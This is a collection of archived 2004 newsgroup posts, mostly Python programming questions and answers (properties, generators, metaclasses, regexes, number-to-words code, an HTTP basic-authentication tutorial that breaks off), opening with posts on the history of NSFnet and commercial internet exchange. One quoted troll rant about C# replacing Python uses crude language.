Cook has the gory detail) you had to accept the NSFnet AUP if you wanted full connectivity. (academic only, in principle; although dissimination of Open Source products was probably acceptable). A lot of the important servers and sites was only reachable through this "full connectivity"; so uunet, EUnet, PSInet and others had a collaboration to build around NSFnet. The first 'Ix was born to exchange traffic; the CIX. It didn't go smoothly though. Some institutions had to be threatened with retribution; and "Inverse AUP" to accept connectivity. But the "CIX war" was won by the good guys; and the Internet became a commercial endeavour. In other jurisdictions it took a little longer. In Norway it took a parliamentary debate to make it crystal clear that a soggy half-commercial model was unacceptable; and the threat of legislation was used. We had plans for a fully commercial ISP ready, in practice since 1986; and in 1992 we ran to implement them. >the issue leading up to the cix war was somewhat whether commercial >traffic could be carried over the nsf funded backbone .... the >internetworking protocol enabling the interconnection and heterogenous >interoperability of large numbers of different "internet" networks. > >part of the issue was that increasing commercial use was starting to >bring down the costs (volume use) .... so that a purely nsfnet >operation was becomming less and less economically justified (the cost >for a nsfnet only operation was more costly and less service than what >was starting to show up in the commercial side). It was the pains of the Internet growing out of academia, without a good model to regulate it. >part of the issue was that there was significant dark fiber in the >ground by the early 80s and the telcos were faced with a significant >dilemma .... if the dropped the bandwidth price by a factor of 20 >and/or offerred up 20 times the bandwidth at the same cost .... it was >be years before the applications were availability to drive the >bandwdith costs to the point where they were taking in sufficient >funds to cover their fixed operating costs. so some of the things you >saw happening were controlled bandwidth donations (in excess of what >might be found covered by gov. RFPs) to educational institutions by >large commercial institutions .... for strictly non-commercial use >Such enourmous increases in bandwidth availability in a controlled >manner for the educational market would hopefully promote the >development of bandwidth hungry applications. They (supposedly) got >tax-deduction for their educational-only donations .... and it >wouldn't be made available for the commercial paying customers. But this cannot be enforced without firewalls; and these institutions didn't want to erect those; and wanted the policy hammered into the Internet itself. That would have killed the Internet. Fortunatly the "second internet"; a commercial Internet on purely commercially obtained hardware and circuits; was built around the NSFnet. But the two needed to interconnect. For a while there were two internets; one commercial and one academic that only half-way interconnected. It was finally resolved in 1991; and from then on the Internet as such was a fully comemrcial internetwork; where AUP's only applied to local networks. -- mrr From jgrahn-nntq at algonet.se Mon Sep 6 18:30:47 2004 From: jgrahn-nntq at algonet.se (Jorgen Grahn) Date: Mon, 6 Sep 2004 22:30:47 +0000 (UTC) Subject: Installing scripts and documentation Message-ID: Someone recently brought this up in the thread "Linux application deployment", but from a slightly different angle. I have a problem. When I write small utilities for Unix in C, C++, Perl or /bin/sh, I always write one or more manpages, and make all of it installable with a trivial Makefile with an 'install' target. The things end up in /usr/local/bin, /usr/local/man etc by default. Crude, but works well enough for my purposes. Nowadays, when I write some things in Python, there's a problem. The list of installable things suddenly tends to include modules as well (which I usually try to wrap in a package). Distutils is the only tool which knows what to do with these (compiling them, placing them in the correct site-packages etc), but at the same time distutils knows nothing about copying executables to somewhere in the $PATH, copying manual pages to somewhere in $MANPATH, and so on. Any tools, tricks or conventions that I'm unaware of? BR, Jorgen -- // Jorgen Grahn R'lyeh wgah'nagl fhtagn! From des.small at bristol.ac.uk Thu Sep 16 09:19:18 2004 From: des.small at bristol.ac.uk (Des Small) Date: Thu, 16 Sep 2004 13:19:18 GMT Subject: python: ascii read References: <1gk7je1.181yr5f1jgu9iaN%aleaxit@yahoo.com> <1gk7mc1.bc05un1x83yxsN%aleaxit@yahoo.com> Message-ID: aleaxit at yahoo.com (Alex Martelli) writes: > If your needs are very specific (you know a lot about the format of > those huge files -- e.g. they're column-oriented, or only use > whitespace separators and \n line termination, or other such > specifics) you might well be able to do better -- likely even in > Python, worst case in C. I assume you need Numeric arrays, 2-d, > specifically, as the result of reading your files? Would you know > in advance whether you're reading int or float (it might be faster > to have two separate functions)? Could you pre-dimension the > Numeric array and pass it in, or do you need it to dimension itself > dynamically based on file contents? The less flexibility you need, > the simpler and faster the reading can be... The last time I wanted to be able to read large lumps of numerical data from an ASCII file, I ended up using (f)lex, for performance reasons. (Pure C _might_ have been faster still, of course, but it would _quite certainly_ also have been pure C.) This has caused minor irritation - the code has been in use through several upgrades of Python, and it is considered polite to recompile to match the current C API - but I'd probably do it the same way again in the same situation. Des -- "[T]he structural trend in linguistics which took root with the International Congresses of the twenties and early thirties [...] had close and effective connections with phenomenology in its Husserlian and Hegelian versions." -- Roman Jakobson From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com Sat Sep 25 17:21:41 2004 From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman) Date: Sat, 25 Sep 2004 22:21:41 +0100 Subject: Dynamic Import In-Reply-To: References: Message-ID: OctoberSnake wrote: > Can I import modules dynamically? Say for example I wanted the user to > specify what module my script would import, how to do this? I would start by Googling for . -- Michael Hoffman From pf_moore at yahoo.co.uk Mon Sep 20 15:39:17 2004 From: pf_moore at yahoo.co.uk (Paul Moore) Date: Mon, 20 Sep 2004 20:39:17 +0100 Subject: Python binaries for Solaris, HP-UX References: <973u12-rta.ln1@valpo.de> <46d022-k59.ln1@valpo.de> Message-ID: Mathias Waack writes: > Paul Moore wrote: > >> The binary distribution is a compressed >> depot file > > which in fact is a simple tar file or shell archive (I have no access > to a HP box from home and I can't remember exactly). Thus you can > unpack the depot file wherever you want, correct the directory > layout and use it. Of course this works only for location > independent (ie. well designed) packages. Python is one of these. Ah! That's the thing I needed. Thanks for your patience - I'll go and try it out. Paul. -- This signature intentionally left blank From aleaxit at yahoo.com Tue Sep 28 08:33:32 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 28 Sep 2004 14:33:32 +0200 Subject: Metaclass with name overloading. References: Message-ID: <1gktuz9.1ww1usisimxlgN%aleaxit@yahoo.com> Jacek Generowicz wrote: ... > > No, you can't, and it's not just a parser issue. Python uses direct > > C calls to the native dict type. It's hard coded, > > I feared this would be the case. It's not (not in 2.4 at least) -- the STORE_NAME is quite ready to find a non-dict as the frame's f_locals. The problem is getting your object to be used as the frame's f_locals in the first place -- hard but that only affects a few spots in ceval.c. Alex From nobody at hotmail.com Tue Sep 28 19:21:12 2004 From: nobody at hotmail.com (Maboroshi) Date: Tue, 28 Sep 2004 16:21:12 -0700 Subject: Python + strange == cool Message-ID: <10ljshapfl2nbd8@corp.supernews.com> All fine and good >>> x = ["list1", "list2", "list3", 4, 5, 6, 7] >>> x[1:-1] ['list2', 'list3', 4, 5, 6] # All good here this struck me as weird I had an idea to mess around with lists >>> x[1:+1] [] now when I do this >>> x[1:+2] ['list2'] Does this puzzle anyone else of course I am a total novice so I have no idea what I am doing here if anyone has any ideas please reply From marcus at deepfort.com Mon Sep 20 07:10:31 2004 From: marcus at deepfort.com (marcus at deepfort.com) Date: Mon, 20 Sep 2004 12:10:31 +0100 Subject: python is going to die! =( In-Reply-To: References: Message-ID: <414EBAA7.3050603@deepfort.com> julio wrote: > Sorry but there is no another way, c# .net and mono are going to rip >python, not because python is a bad lenguage, but because is to darn old >and it refuses to innovate things, to fix wrong things, just because >retarded backwards compatibility and because the python comunity and >developers refuses to consider tools as being almost as important as the >language itself. > >What does c# .net has that python doesnt ? (significant features) > >-- tools,tools,tools : have people that likes python ever used an ide? i >mean a good ide, the one that saves you a lot of time, and makes you >productive. > > looks like they havent, they think new people is willing to practice emacs >for 6 months before even thinking about being productive, not to mention >you have to learn 20 years old list, and low level c stuff to have fully >advantage. Those guys are realy happy with their stuff that totaly, >completly refuses to try a new tool, a new tool that 'is' better, like say, >an ide??. > > Then we have the , you just need a text editor. This is realy amazing, >tecnology improves, people have to change their way of thinking, i realy >cant count the number of text editors avaiable for python, with basicaly >just syntax highlighting.For example, idle : > > idle is just a text editor with syntax color,nothing else, then you see >that half of buttons are so fucking retarded things that you never >need,indentation stuff, replace tabs and all crap that you never realy >need, the class browser and path browser were in the right way, before they >got abandoned with just the most basic low functionality. > > No help in real programing? why? why do i need to press a retarded button >to indent-deindent reindent stuff but i dont need help with integrated help >system , code completion , source assistant , a freaking decent calltips >support, etc ? It realy makes no sense , no sense at all. > > Why do these people keep reinventing text editors again and again and again >to just add some retarded functionality that noone ever needs? pycrust , >drpython, leo , idle , eclipse plugins(py editors with color) they all love >to reinvent the wheel instead of trying to work together on some common >project to do something usefull, boy if i want a text editor with syntax >color i just use vim,or kate or something. > >For the C # Side there IS : > > sharp develop, wich is going to be ported to linux and mac, and it is even >better than vstudio! is open source . > > monodevelop , which is a little inestable but very very usable , and has >real features!! proyect browsing , full calltips ,code completion,source >help, doc help system , you know , productivity features. > > > -- C # is almost perfetly designed, python is very well designed but it has >some crap that obscurize it and is not going to be removed because of the >damn backwards compatibility thing, C # has all the advantages there is >new ,it has learned from other languages mistakes. Python must break >backward compatibility to be at the same level of play. >At least python has just a few problems in this area compared to java,which >is 50% crap , just to hold backwards compatibility. > > -- C # is easy to use,fast apps coding (as python) but!! it has all the >advantages of a compiled language , like less bugs concerning silly types >mistakes , ides and tools can take much much more advantage of static >typing , it is much much much faster , and finally is much more readable >than python since i dont have to be guessing in the woods to know what type >of value a function return , or what types are the functions argument or >WTF does 'return MOM' means? > >-- C # is killing python, first the gnome guys dont know what to choose for >their core system development , if mono-C # ? or java ? the only reason C # >hasnt being choosen is because of legal issues, and java? well it realy >sucks so no surprise , but is considered just because eclipse wich is the >most kick ass ide ever. AND they dont even consider python for a high level >language to choose!! > > Look at source-forge,(around) python : 3000 proyects , C # 1500 proyects >and C# is much younger than python, not to mention mono is new!! 2 times >more C # proyects are started than python proyects by month, so very soon >C# is going to completly replace python in their areas. Not to mention that >C# proyects are generaly bigger, compared to small command line tools, >python proyects. > > I think is a fact, reality , there is just no way python is going to >survive, i would be happy if someone knows or see something i dont , >because i realy like python, but : C # which has all the m$ licenses and >crap involved is so superior to python in so many ways, its not even >funny,and C# has serius tools, ides ,etc. Look at >nhibernate,nunit,njasper,the super sharp-develop ,monodevelop,etc. BTW >wingware has a very nice ide, but close sourced and at a price of 200$ for >os is ridiculous,and their personal edition is pure crap, no >code-assistant ? lol. Is there a posibility python survives 2 years more at >least? > >Btw , nice quotes on python site : "Python has been an important part of >Google since the beginning, and remains so as the system grows and evolves. >Today dozens of Google engineers use Python, and we're looking for more >people with skills in this language." said Peter Norvig, director of search >quality at Google, Inc. > >But the google code jam, the one google searchs for new hackers to join >their lines is only for c# , java , c++ , nice irony , lie,lie. > > I'm relatively new here, so I'll only briefly mention It'd be nice if you could post with a civil keyboard. Dabbing away the spittle for a moment, that troll-post contained a nugget of truth. A lot of Python users are open-minded enough to accept that huge bloated IDEs are *very* useful in the right circumstances (even if they're not our own circumstances), and intelligent enough to realize that the day Microsoft produces the best and most useful tool for those *taking up* the language, it's likely that the rest of us will get a lot of problems and headaches from that (standard Python programs which rely on .NET anyone?). That's why there are a few different ways to get your hands on a python IDE (especially if you're able to shell out some $) and that's why despite the arguable dearth of really muscular and really free "visual IDEs" for python, a lot of us are constantly covering ground in this respect. I'll stop, I've seen a lot of people respond to your posts, so with respect to yourself, I'll sit back and see from your responses here whether you were just fishing for flames or not. From remy.blank_asps at pobox.com Tue Sep 21 11:08:47 2004 From: remy.blank_asps at pobox.com (Remy Blank) Date: Tue, 21 Sep 2004 17:08:47 +0200 Subject: OT: regex to find email In-Reply-To: <4a0cafe204092108038020f72@mail.gmail.com> References: <4a0cafe204092108038020f72@mail.gmail.com> Message-ID: Josh Close wrote: > I've been trying to find a good regex to parse emails, but haven't > found any to my liking. I basically need to have > > ( r'[a-z0-9\.\-\_]@[a-z0-9\.\-\_]', re.IGNORECASE ) > > but the first part can't start with .-_ and the last part has to have > a . in it (first/last being before/after the @). I'd try something like (untested): [a-z0-9][a-z0-9\._-]*@[a-z0-9\._-]+\.[a-z0-9\._-]+ Basically, you have to remember to say *how many* characters you want of a specific set, that's what the '*' and '+' are for. -- Remy Remove underscore and suffix in reply address for a timely response. From thorsten at thorstenkampe.de Mon Sep 20 07:25:56 2004 From: thorsten at thorstenkampe.de (Thorsten Kampe) Date: Mon, 20 Sep 2004 13:25:56 +0200 Subject: python is going to die! =( References: Message-ID: <1c7kyo6hkmag$.dlg@thorstenkampe.de> * Hans Nowak (2004-09-20 05:17 +0200) >> -- C # is almost perfetly designed, python is very well designed but it has >> some crap that obscurize it and is not going to be removed because of the >> damn backwards compatibility thing, > > The "damn backwards compatibility thing" guarantees that older Python code > still runs, more or less unchanged, on recent interpreters. (Well, most of the > time.) I've never seen such a "progressive" language as Python. Not many people care about "backwards compatibility" to Python 1.5.2 for instance. New language constructs are rapidly adopted; often you can hear someone say: "in Python 2.4 you could write this as..." ... and noone objects. Now if that isn't progressive... Thorsten From brenNOSPAMbarn at NObrenSPAMbarn.net Thu Sep 23 17:31:10 2004 From: brenNOSPAMbarn at NObrenSPAMbarn.net (OKB (not okblacke)) Date: 23 Sep 2004 21:31:10 GMT Subject: up with PyGUI! References: <414783DD.4070509@zephyrfalcon.org> <4lf4d.15151$pA.1180511@news20.bellglobal.com> <4151B7C4.6070003@zephyrfalcon.org> <2rfnp6F19gkpkU1@uni-berlin.de> Message-ID: anton muhin wrote: > I beg your pardon for possibly stupid comment---I haven't practice > GUI programming for a long time, especially in Python. However I > mostly prefer declarative approach for the problems like that. > Therefore, wouldn't it be interesting to describe the structure > with class and metaclass mechanism, like: > > class MainFrame(FrameDescription): > > class b1(ButtonDescription): > size = (40, 40) > text = "b1" I've recently been working on a system that lets you do that kind of thing. It's a set of metaclasses that wrap the wxPython classes so you define your GUI with nested class structures. Certain things are hard here because of the way class definitions are handled in Python, but I am making progress. If anyone's interested, you can see an example of what the GUI code looks like at http://www.brenbarn.net/misc/idealgui.txt . This is code that actually produces a working program with my current setup. It won't work for anyone else, of course, because I haven't made my library available yet. My main goal here, though, is to get it so the code LOOKS nice, so just seeing how the code looks will give you an idea of the style. -- --OKB (not okblacke) Brendan Barnwell "Do not follow where the path may lead. Go, instead, where there is no path, and leave a trail." --author unknown From dperl at rogers.com Fri Sep 3 00:11:18 2004 From: dperl at rogers.com (Dan Perl) Date: Fri, 03 Sep 2004 04:11:18 GMT Subject: Recursive Generator Question References: <6543373d.0409021839.5caff11d@posting.google.com> Message-ID: "Jp Calderone" wrote in message news:mailman.2804.1094182395.5135.python-list at python.org... > Paul Chiusano wrote: ......... > The generators are a red herring :) Iterating over an object calls > __iter__ on the object, then repeatedly calls next on the object > returned by __iter__. Each object next returns is taken as a value for > iteration. > > So, if we examine your node class, we see that when __iter__ is > called, the same object is returned. When next is called on the node > class, a generator is returned. Oops. Throw away your current __iter__ > method and rename your next method __iter__. Now when __iter__ is > called, it will return a generator, and when next is called on the > generator, you will get the leaf nodes you were looking for. I think a clarification is in order here. Done this way, __iter__ *IS* a generator function and it returns an iterator, not a generator. The next( ) is called on the iterator returned by __iter__. Using __iter__ as the generator takes advantage of the fact that the 'for' statement invokes it implicitly. But the generator could have any name and it would just have to be called explicitly. I would rather do it the explicit way, and it's not just because I'm following the advice I've been getting from a lot of people in another thread, where I was on the 'implicit' side of the argument. ;-) But this way, the 'implicit' call to __iter__, works too. Dan From aleaxit at yahoo.com Tue Sep 14 10:43:29 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 14 Sep 2004 16:43:29 +0200 Subject: stupid namespace tricks References: Message-ID: <1gk438e.fkumk4d0f3gmN%aleaxit@yahoo.com> David Rysdam wrote: ... > 2) function_defaults.py imports nothing, defines logError() and also > sets up a default global like so: > > dictGlobal = {'logError':logError} the function logError's globals are therefore the globals of module function_defaults. > 3) And then in myDaemon I "import functions_default" and do this: > > exec(body, functions_default.dictGlobal) function_defaults.dictGlobal [[I assume the missing trailing s was just a typo]] is the globals for that body, but not of course for any functions which that body might call from other modules (such as logError), which will each use the globals of the respective module. > I added this to myDaemon.py ahead of the exec(): > > functions_default.dictGlobal['id'] = scriptlet['id'] > > But when I get to logError, 'id' isn't there. Right, though if would be if you had coded: vars(function_defaults)['id'] = scriptlet['id'] (again I assume there are typos regarding the 's' location...). Alex From jeffrey at fro.man Tue Sep 14 01:13:34 2004 From: jeffrey at fro.man (Jeffrey Froman) Date: Mon, 13 Sep 2004 22:13:34 -0700 Subject: My first attempt at subclassing....Gahh! References: <95c29a5e.0409131910.5c916122@posting.google.com> Message-ID: <10kcvg1c7cocg25@corp.supernews.com> Robin Siebler wrote: > class report(filecmp.dircmp.report): Here you are attempting to subclass an instance method instead of another class. Jeffrey From marc.jeurissen at ua.ac.be Mon Sep 13 09:00:40 2004 From: marc.jeurissen at ua.ac.be (Marc Jeurissen) Date: Mon, 13 Sep 2004 15:00:40 +0200 Subject: Property with parameter... In-Reply-To: <4145536F.7070904@peto.hu> References: <4145536F.7070904@peto.hu> Message-ID: Why not just like this or does this create 'hidden traps'? class A: def __init__(self): self.__name = {} def __setname(self, name): for tag in name: self.__name[tag] = name[tag] def __getname(self): return self.__name name = property(__getname, __setname) def show(self): print self.__name a = A() a.name['one'] = 1 a.name['two'] = 2 a.show() -> {'two': 2, 'one': 1} print a.name['two'] -> 2 Marc kepes.krisztian wrote: > Hi ! > > I want to create a property that can use parameter(s). > In Delphi I can create same thing (exm: Canvas.Pixel[x,y] -> > Canvas.GetPixel(self,X,Y):integer; > Canvas.SetPixel(self,X,Y,Color::integer); > > class A(object): > def __init__(self): > self.__Tags={} > def GetTag(self,tname): > return self.__Tags.get(tname,None) > def SetTag(self,tname,value): > self.__Tags[tname]=Value > Tag=property(GetTag,SetTag) > > a=A() > print a.Tag('A') > print a.Tag['A'] > > But it is seems to be not possible in this way. > > How to be can ? > > Thanx for help ! > KK > > From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com Tue Sep 28 18:58:27 2004 From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman) Date: Tue, 28 Sep 2004 23:58:27 +0100 Subject: annoying behavior In-Reply-To: <9418be08.0409281438.25e2abe@posting.google.com> References: <9418be08.0409280856.9368ddf@posting.google.com> <9418be08.0409281438.25e2abe@posting.google.com> Message-ID: Elbert Lev wrote: > I think, it would be good, if some sort of warning is given during > import, but not during instantiating the instance of the class. At > least in a "debug" mode. What really did happen: the bug was reported > after the scrip was running for 30 minutes. PyCheck finds it > immediatelly. Why not to do the same kind of check in the interpreter? Can you post the results of your PyChecker run and the exact input to it? I just did a test myself: """ $ cat test1.py class X(object): def __init__(self): self.f() self.r = True def f(self): print self.r def main(): x = X() $ pychecker test1.py Processing test1... Warnings... test1.py:10: Local variable (x) not used """ I think that what you want the Python compiler to do is harder than you think it is, and not all cases will be caught unless you actually run the program. I've forgotten to assign attributes and variables before using them in the past--it's just something you have to learn not to do. -- Michael Hoffman From mwh at python.net Fri Sep 10 10:29:31 2004 From: mwh at python.net (Michael Hudson) Date: Fri, 10 Sep 2004 14:29:31 GMT Subject: my own type, print function References: Message-ID: Torsten Mohr writes: > Hi, > > i have created an own type in C and have implemented > the print function for it. I'm not sure what your problem is, but my advice is: don't do that :) I.e. don't fill out the tp_print slot of your type object unless your object type has such a long printed representation that going via a string representation is grossly inefficent. Cheers, mwh -- "Sturgeon's Law (90% of everything is crap) applies to Usenet." "Nothing guarantees that the 10% isn't crap, too." -- Gene Spafford's Axiom #2 of Usenet, and a corollary From kepes.krisztian at peto.hu Wed Sep 8 05:18:02 2004 From: kepes.krisztian at peto.hu (kepes.krisztian) Date: Wed, 08 Sep 2004 11:18:02 +0200 Subject: Property confusion Message-ID: <413ECE4A.8010609@peto.hu> Peter wrote: >>>>> kepes.krisztian wrote: [Same old question under a new subject] If you don't receive an answer within a reasonable time span you should consider rephrasing the problem, not just the header. I tried the code you gave and could not perceive any difference in the output of the two snippets. Maybe you can post an interactive session with just the statements that produce different output? Or you rename one class, to B, say, and add an assertion you expect to succeed but which fails, e. g.: class A(object): #... class B(object): #... assert A().some_attr == B().some_attr Peter >>>>> Sorry, I wrote wrong code. The good is that: class A: __slots__=('x','a','__v') def __init__(self): self.__v=0 def g(self): return self.__v def s(self,v): self.__v=v GS=property(g,s) class B(object): def __init__(self): self.__v=0 def g(self): return self.__v def s(self,v): self.__v=v GS=property(g,s) lists=[[],[]] key=0 lists[key].append("A") a=A() lists[key].append(a.g()) a.s(1) lists[key].append(a.g()) lists[key].append(a.GS) a.GS=2 lists[key].append(a.GS) lists[key].append(a.g()) key=1 lists[key].append("B") b=B() lists[key].append(b.g()) b.s(1) lists[key].append(b.g()) lists[key].append(b.GS) b.GS=2 lists[key].append(b.GS) lists[key].append(b.g()) print lists[0] print lists[1] If I not use object, the GS is used as member, not property. ['A', 0, 1, 1, 2, 1] ['B', 0, 1, 1, 2, 2] From Brian.Inglis at SystematicSW.Invalid Thu Sep 9 07:57:10 2004 From: Brian.Inglis at SystematicSW.Invalid (Brian Inglis) Date: Thu, 09 Sep 2004 11:57:10 GMT Subject: Xah Lee's Unixism References: <413af268$0$19706$61fed72c@news.rcn.com> <413c5b9c$0$19705$61fed72c@news.rcn.com> <1s4ihc.4i4.ln@via.reistad.priv.no> <2tjvj0ttc99io295ecg2l86lc2h4tug1jc@4ax.com> Message-ID: On Thu, 09 Sep 2004 04:05:31 +0000 in alt.folklore.computers, Reynir Stef?nsson wrote: >So spake Anne & Lynn Wheeler: > >>OSI can support x.25 packet switching and/or even the arpanet packet >>switching from the 60s & 70s .... but it precludes internetworking >>protocol. internetworking protocol (aka internet for short) is a >>(non-existant) layer in an OSI protocol stack between >>layer3/networking and layer4/transport. misc. osi (& other) comments >>http://www.garlic.com/~lynn/subnetwork.html#xtphsp > >Wasn't the idea behind ISO/OSI that there should be One Network for >everybody, instead of today's lot of interconnected nets? A common network run by PTTs with ISDN terminal links IIRC. -- Thanks. Take care, Brian Inglis Calgary, Alberta, Canada Brian.Inglis at CSi.com (Brian[dot]Inglis{at}SystematicSW[dot]ab[dot]ca) fake address use address above to reply From claird at lairds.us Tue Sep 14 17:08:04 2004 From: claird at lairds.us (Cameron Laird) Date: Tue, 14 Sep 2004 21:08:04 GMT Subject: Communication between remote scripts References: Message-ID: <6u0k12-jl1.ln1@lairds.us> In article , Tim Golden wrote: >| In article , >| secun at yahoo.com says... >| > I have a python script (A) that monitors a process (3rd >| party) on the >| > local machine (Windows). >| > >| > I would like to create a second program on a remote Windows >| computer >| > that receives an update from program A periodically (maybe every 10 >| > minutes or so), and tells it everything is running without >| a problem. >| > >| > Can anyone recommend a good (and preferably simple) way for >| two programs >| > to communicate on a network? > >| Am I correct in saying that remote objects are not really needed for >| this? > >You have several options: > >1) Email: sounds silly but is a perfectly reasonable solution if > you already had email infrastructure on both machines and > weren't that bothered about real time. > >2) UDP heartbeat: see this recipe in the Python Cookbook. > http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/52302 > >3) xml-rpc: see the Python docs. > http://python.org/doc/2.3.4/lib/module-xmlrpclib.html > >4) Pyro (Python Remote Objects). See http://pyro.sf.net. > I suspect you don't want this, given your follow-up > question. But it will work and is easy enough. > >5) Straight socket server stuff. Again, python docs. > http://python.org/doc/2.3.4/lib/module-SocketServer.html > >6) SOAP / DCOM (if you fancy your chances) / CORBA, other acronyms. > >Personally, I think xml-rpc is a good way to go for >general purpose stuff. But since you're really just >after a heartbeat, the UDP solution might be best. . . . Nice description. If the problem involved just a bit more information and variability than a heartbeat, I'd start to recommend async and/or Twisted. From aleaxit at yahoo.com Tue Sep 14 10:33:29 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 14 Sep 2004 16:33:29 +0200 Subject: Style conventions for Python code References: <4146fe4c$0$22760$db0fefd9@news.zen.co.uk> Message-ID: <1gk42yq.b6erkw17nycqtN%aleaxit@yahoo.com> Will McGugan wrote: ,,, > Is there a recommended coding style for Python documented anywhere? http://www.python.org/peps/pep-0008.html Alex From jfabiani at yolo.com Fri Sep 17 12:19:20 2004 From: jfabiani at yolo.com (John Fabiani) Date: Fri, 17 Sep 2004 16:19:20 GMT Subject: Python Webstart ? References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au> Message-ID: Thomas Guettler wrote: > Am Fri, 17 Sep 2004 21:43:04 +1000 schrieb huy: > >> Hi, >> >> Just wondering if there were any plans (or existing projects) similar to >> Java webstart for Python. I think this would be a boon for python. I >> would love to start my new project using Python but the deployment (and >> long term upgrading) factor is a major itch which pyfreeze and py2exe >> just doesn't scratch properly. > > Hi, > > what does webstart do? > > Thomas Actually it's very useful. In the Java world you can set a central location that a webstart program checks for possible updates. It's very cool. John From lbates at syscononline.com Tue Sep 28 12:55:34 2004 From: lbates at syscononline.com (Larry Bates) Date: Tue, 28 Sep 2004 11:55:34 -0500 Subject: Problem with a dictionary program.... In-Reply-To: <415966e1$0$23075$ba624c82@nntp05.dk.telia.net> References: <415966e1$0$23075$ba624c82@nntp05.dk.telia.net> Message-ID: Ling Lee wrote: > Hello. > > I'm trying to write a small program that lets you put in a number as an > integer and then it tells you the textuel representation of the number. > > Like if your input is 42, it will say four two. > > I found out that I have to make a dictionary like this: List = { 1:"one", > 2:"two" and so on ) > > and I have to use the raw_input method to get the number: > > indput : raw_input(" Tell me the number you want to transform to textuel > representaion") > > The I have to transform the input to a string > indput = str(indput) > > so that I can count how many decimals the number has, like 23 has 2 decimals > and 3000 has 4 decimals. > > After I have gotten the lenght of the string, I will write a loop, that goes > through the dictionary as many times as the lengt of the string, and the > gives me the corresponding numbers, the numner 21 would go 2 times through > the loop and give me the output two one > > Will one of you be so kind and tell me how I count the lengt of the indput > number i was thinking on something like input.count[:] but that dosnt > work... > > and how I make the loop. > > Im trying to understand dictionaries but have gotten a bit stuck... > > Thanks for all replies.... > > > Here's an example of what you want: """ Just run it, you'll see what it does. This code is released into the public domain absolutely free by http://journyx.com as long as you keep this comment on the document and all derivatives of it. """ def getfractionwords(num): frac = num-int(num) numstr = str(int(frac*100+.5)) if len(numstr) == 1: numstr = '0'+numstr fracstr = ' and ' + numstr + '/100' return fracstr def convertDigit(digit): digits = ('', 'One', 'Two', 'Three', 'Four', 'Five', 'Six', 'Seven', 'Eight', 'Nine') return digits[int(digit+.5)] def breakintochunks(num): (left,right) = breakintwo(num) rv = [right] while left > 999: (left,right) = breakintwo(left) rv.append(right) rv.append(left) rv.reverse() return rv def breakintwo(num): leftpart = int(num/1000.0)+0.0 rightpart = 1000.0*(num/1000.0 - leftpart) return (int(leftpart+.5),int(rightpart+.5)) def enties(num): tens = ('','','Twenty' ,'Thirty', 'Forty', 'Fifty', 'Sixty', 'Seventy', 'Eighty', 'Ninety') indx = int(num/10.0) return tens[indx] def convert2digit(num): teens = ('Ten', 'Eleven', 'Twelve', 'Thirteen', 'Fourteen', 'Fifteen', 'Sixteen', 'Seventeen', 'Eighteen', 'Nineteen') if num < 10: return convertDigit(num) if num <20: return teens[num-10] if num > 19: tens = enties(num) ones = convertDigit(10*(num/10.0-int(num/10.0))) if ones: rv= tens+'-'+ones else: rv=tens return rv def convert3digit(num): threenum = str(num) ln = len(threenum) if ln==3 : a= convertDigit(int(threenum[0])) b= ' Hundred ' c= convert2digit(int(threenum[1:])) return a+b+c if ln<3 : return convert2digit(int(threenum)) raise 'bad num',num def num2words(num): thousandchunks = breakintochunks(int(num)) rv = ' ' if num >= 1000000: rv=rv+ convert3digit(thousandchunks[-3])+ ' Million ' if num >= 1000: c3d= convert3digit(thousandchunks[-2]) if c3d: rv=rv+ c3d+ ' Thousand ' rv = rv + convert3digit(thousandchunks[-1])+ getfractionwords(num) return squishWhiteSpace(rv) def squishWhiteSpace(strng): """ Turn 2 spaces into one, and get rid of leading and trailing spaces. """ import string,re return string.strip(re.sub('[ \t\n]+', ' ', strng)) def main(): for i in range(1,111,7): print i,num2words(i) for i in (494.15, 414.90, 499.35, 400.98, 101.65, 110.94, \ 139.85, 12349133.40, 2309033.75, 390313.41, 99390313.15, \ 14908.05, 10008.49, 100008.00, 1000008.00, 100000008.00, \ 14900.05, 10000.49, 100000.00, 1000000.00, 100000000.00, 8.49): print i,num2words(i) import whrandom for i in range(33): num = whrandom.randint(1,999999999) + whrandom.randint(1,99)/100.0 print num,num2words(num) if __name__ == '__main__': main() From fuzzyman at gmail.com Wed Sep 15 11:37:12 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 15 Sep 2004 08:37:12 -0700 Subject: HTTP - basic authentication example. Message-ID: <6f402501.0409150737.1bfc6958@posting.google.com> #!/usr/bin/python -u # 15-09-04 # v1.0.0 # auth_example.py # A simple script manually demonstrating basic authentication. # Copyright Michael Foord # Free to use, modify and relicense. # No warranty express or implied for the accuracy, fitness to purpose or otherwise for this code.... # Use at your own risk !!! # E-mail or michael AT foord DOT me DOT uk # Maintained at www.voidspace.org.uk/atlantibots/pythonutils.html """ There is a system for requiring a username/password before a client can visit a webpage. This is called authentication and is implemented by the server - it actually allows for a whole set of pages (called a realm) to require authentication. This scheme (or schemes) are actually defined by the HTTP spec, and so whilst python supports authentication it doesn't document it very well. The HTTP documentation is in the form of RFCs (http://www.faqs.org/rfcs/rfc2617.html for basic and digest authentication) which are technical documents and so not the most readable !! When I searched the web for details on authentication with python I found lots of people asking questions, but a lack of clear answers. This document and example code shows how to manually do basic authentication with python. It is an example for performing a simple operation rather than a technical document. I am doing it manually rather than using an auth handler because my script is a CGI which runs once for each page access. I have to store the username/passwords between each access. A 'manual' explanation also shows more clearly what is happening. I've seen references to three authentication schemes, BASIC, NTLM and DIGEST. It's possible there are more - but BASIC authentication is overwhelmingly the most common. This tutorial/example only covers BASIC authentication although some of the details may be applicable to the other schemes. -- In all these examples we will be the python standard library urllib2 to fetch web pages. A client is any program that makes requests over the internet. It could be a browser - or it could be a python program. When a client requests a web page it sends a request to the server. That request consists of headers with certain information about the request. Here we are calling these headers 'http request headers'. If the request fails to reach a server (the server name doesn't exist or there is no internet connection for example) then the request will just fail. If the request is made by python then an exception will be raised. This exception will have a 'reason' attribute that is a tuple describing the error. The example below shows us creating a urllib2 request object, adding a fake 'User-Agent' request header and making a request. The resulting error shows what happens if you try 